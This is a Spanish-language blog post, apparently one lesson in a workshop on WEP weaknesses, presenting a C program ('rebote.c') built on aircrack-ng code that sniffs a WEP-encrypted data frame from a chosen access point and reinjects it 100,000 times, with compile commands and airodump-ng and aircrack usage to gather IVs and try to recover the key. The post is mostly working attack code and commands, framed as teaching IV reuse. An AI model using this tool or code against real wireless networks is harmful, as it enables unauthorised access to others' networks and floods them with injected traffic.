VULNERABILIDADES WEP. Parte I. Práctica (1)

Posted by Star | Posted in | Posted on 22:35

Reinyección de tráfico. Ejemplo 1. Programa rebote.c

Bien, pues vamos al primero, lo he llamado rebote.c y simplemente se pone a escuchar una red (se le pasa por teclado el BSSID del Punto de acceso) y cuando captura un paquete de datos se pone como un loco a repetirlo...

Observa en el código de mas abajo que se comprueba si la mac del punto de acceso aparece en "cualquier posición" de la cabecera 802.11 se procede a la comparación, es decir, si la mac del punto de acceso es origen, destino o bssid. (3 bucles for son los que lo controlan)

El código de este ejemplo aquí: http://www.megaupload.com/?d=L55EAI9C

Lo guardas en el directorio de las fuentes de aircrack con el nombre rebote.c

Y lo compilamos: 
 
Código:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o rebote rebote.c gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude rebote.o common.o crypto.o -o rebote -Losdep -losdep   -lssl -lcrypto
 
Como ya he dicho, si hay suerte y se trata de un paquete del que se espera respuesta, pues mejor, si no, aunque envies millones de paquetes los IV’s no serán efectivos para recuperar la clave wep.

Este sencillo programa utiliza las funciones (estas tres ya deben ser mas que conocidas a estas alturas)
    read_packet para leer los paquetes send_packet para enviar (reinyectar en este caso) el paquete capturado dump_packet para ver el paquete que estamos inyectando.
Y las que nos interesan de verdad para el ejemplo, son las funciones:
    rebote_datos que es la función encargada de la reinyección main, pues eso, donde comienza todo.
Función main


int main( int argc, char *argv[] ) // inicio del programa
{
    unsigned int bssidAP[6];
//Comprueba el paso de parámetros
   if( argc != 2 ) {
       printf("\nUso: rebote interface\n\nEjemplo: rebote wlan0\n\n");
        exit( 0 );
    }

/* Abrir Interface wifi para enviar/recibir tráfico */

     opt.iface_out = argv[1];
    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
            return 1;
    dev.fd_out = wi_fd(_wi_out);
    _wi_in = _wi_out;
    dev.fd_in = dev.fd_out;
    dev.arptype_in = dev.arptype_out;
    wi_get_mac(_wi_in, dev.mac_in);
    wi_get_mac(_wi_out, dev.mac_out);

/* drop privileges */

setuid( getuid() );

printf ("\nEscribe la MAC del bssid o Punto de Acceso ----> ");
scanf ("%02X:%02X:%02X:%02X:%02X:%02X", &bssidAP[0],&bssidAP[1],&bssidAP[2],&bssidAP[3],&bssidAP[4],&bssidAP[5]);

rebote_datos(bssidAP);

return( 0 );
}


Esto ya es habitual en todo este taller, prepara la interface wifi que usaremos, verifica el paso de parámetros, pide por teclado que le indiquemos un bssid (en formato xx:xx:xx:xx:xx:xx) y ese valor tecleado lo pasa como parámetro a la función rebote_datos

Contenido de la función rebote_datos

int rebote_datos(unsigned int bssidAP[6]) //
{
int n, z, caplen;
long nb_pkt_read;
int esmiap;
unsigned char macAP[6];
nb_pkt_read = 0;

printf ("\n**** Esperando un paquete de datos con destino a ");
for (z=0;z<6;z++) { macAP[z]=bssidAP[z]; printf ("%02X:", macAP[z]);}
printf ("\n\n");

while(1) // mientras no se hayan capturado datos interesantes
    {
       
        caplen = read_packet( h80211, sizeof( h80211 ), NULL );
   printf ("\rLeyendo paquete número %ld \r", nb_pkt_read);
   fflush (stdout);
   nb_pkt_read++;
   usleep(1800);

   if ((h80211[1] & 0x40) != 0x40) continue; // si no es un paquete Wep activado, leer otro.

        if ((h80211[0] & 0x0C) != 0x08) continue;    //Si no es un paquete de datos, leer otro
 
       esmiap=0; //asumimos que el paquete tiene el bssid correcto que coincide con el tecleado
   for (z=0;z<6;z++)
      if (h80211[z+4] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
                     // si alguno de los bytes del bssid leido es
                     // diferente a los tecleados, el paquete no vale
                     // y se debe leer otro nuevo
   for (z=0;z<6;z++)
      if (h80211[z+10] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
                     // si alguno de los bytes del bssid leido es
                     // diferente a los tecleados, el paquete no vale
                     // y se debe leer otro nuevo
   for (z=0;z<6;z++)
      if (h80211[z+16] != macAP[z]) esmiap=1; //se verifican los 6 bytes por MAC
                     // si alguno de los bytes del bssid leido es
                     // diferente a los tecleados, el paquete no vale
                     // y se debe leer otro nuevo

    
   if (esmiap == 0) // las macs tecleadas y capturadas coinciden!!!
      break; // hacemos break para salir del while!!!
       
    
} // fin de while y captura de paquetes

   /* Parece que tenemos un Candidato */

   printf ("\nPaquete a enviar");
   printf ("\n****************\n");
   dump_packet (h80211, caplen);
   printf ("\nEsperando 10 segundos para reinyectar el paquete de DATOS.");
   printf ("\nEjecuta airodump para capturar el tráfico inyectado\n\n");
   sleep(10);

   /* Inyectar 100.000 paquetes de datos */

   for (n=0;n<100000;n++) {
      send_packet (h80211, caplen);
      printf ("\rEnviando paquete número %i de %i bytes \r", n,caplen);
      fflush (stdout);
      usleep(1800);
   }



Como ves, a esta función se le pasa un argumento (bssidAP[6]) que será la MAC del punto de acceso de la red WEP y que tecleamos desde la función main.

Inicia con un while (1) indefinido hasta capturar un paquete, se analiza:
    * Que el paquete capturado tenga el bit wep activado * Que sea de datos * Que el bssid sea el que se pasó como parámetro
Cuando estas tres condiciones se cumplen se termina el while.

Entonces, se presenta el paquete por pantalla y se envía 100 mil veces.

Como se indica en la ejecución del programa, es interesante que pongamos airodump a funcionar y así comprobaremos que efectivamente los paquetes de datos "crecen" exageradamente.

Recuerda que no tenemos certeza de que sea un "buen candidato" a la reinyección, por lo que igual, tras los 100 mil paquetes no tenemos IV’s significativos.

Vamos a verlo "en acción" Lanzamos nuestro rebote, por ejemplo:

Código:
./rebote eth1


Cuando aparezca en pantalla el mensaje de "Ejecuta airodump para..." Lanzamos en otra shell airodump, por ejemplo así:


  Código:
./airodump-ng -w test -c 7 -d 00:16:B6:41:03:5D
 
Aquí tienes el resultado....

Imagen

Si acertamos con un "buen paquete" podemos pasar aircrack tras capturar unos miles de IV’s, que como hemos dicho no se garantiza un buen resultado, por ejemplo, este falló:

Imagen

Pero lo importante no es hacer crack de la clave (por el momento) lo importante es comprender el asunto de la reutilización del IV en la reinyección de tráfico.

El próximo, no fallará.

       
       

    Comments (0)

    Publicar un comentario